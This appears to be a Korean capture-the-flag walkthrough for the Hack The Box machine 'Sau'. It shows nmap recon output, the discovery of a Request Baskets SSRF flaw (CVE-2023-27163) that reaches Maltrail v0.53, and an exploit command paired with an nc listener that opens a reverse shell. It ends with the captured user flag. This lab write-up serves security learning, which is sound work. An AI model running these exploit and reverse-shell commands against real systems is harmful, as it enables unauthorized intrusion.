Sau.

Sau

Recon

nmap -sC -sV 10.10.11.224

# nmap -sV -sC 10.10.11.224
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 17:48 KST
Nmap scan report for 10.10.11.224
Host is up (0.32s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     http    Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 14 Jul 2025 08:49:25 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Mon, 14 Jul 2025 08:49:01 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Mon, 14 Jul 2025 08:49:03 GMT
|     Content-Length: 0
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=7/14%Time=6874C47C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Mon,\x2014\x20Jul\x20
SF:2025\x2008:49:01\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Mon,\x2014\x20Jul\x20
SF:2025\x2008:49:03\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Co
SF:ntent-Type-Options:\x20nosniff\r\nDate:\x20Mon,\x2014\x20Jul\x202025\x2
SF:008:49:25\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20n
SF:ame;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\
SF:-_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20cl
SF:ose\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan
SF:,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host
SF:\x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Ho
SF:st\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.78 seconds

55555 포트 alive 10.10.11.224:55555 로 접속 시도

밑에 request-baskets version이 노출됨.(1.2.1버전) 관련된 CVE가 있는지 확인. https://github.com/entr0pie/CVE-2023-27163 SSRF** 관련 CVE가 발견됨.**

rjtfrn 이라는 basket이 생성됨. 이쪽으로 접근

접근 시 Maltrail의 버전이 나오고 관련 CVE를 찾은 결과 https://github.com/spookier/Maltrail-v0.53-Exploit CVE 존재 확인.

python3 exploit.py [listening_IP] [listening_PORT] [target_URL]

위 형식대로 명령어 입력

python3 exploit.py 10.10.16.2 9001 http://10.10.11.224:55555/rjtfrn

그리고 로컬에서 9001 포트를 열고 Listening 상태로 대기 시킨다.

nc -nvlp 9001

Listening 상태의 로컬에서 reverse shell로 붙는데에 성공했고 user flag를 따내는데에 성공했다.

b98ecac81bf36fbe4fbda7f038e722df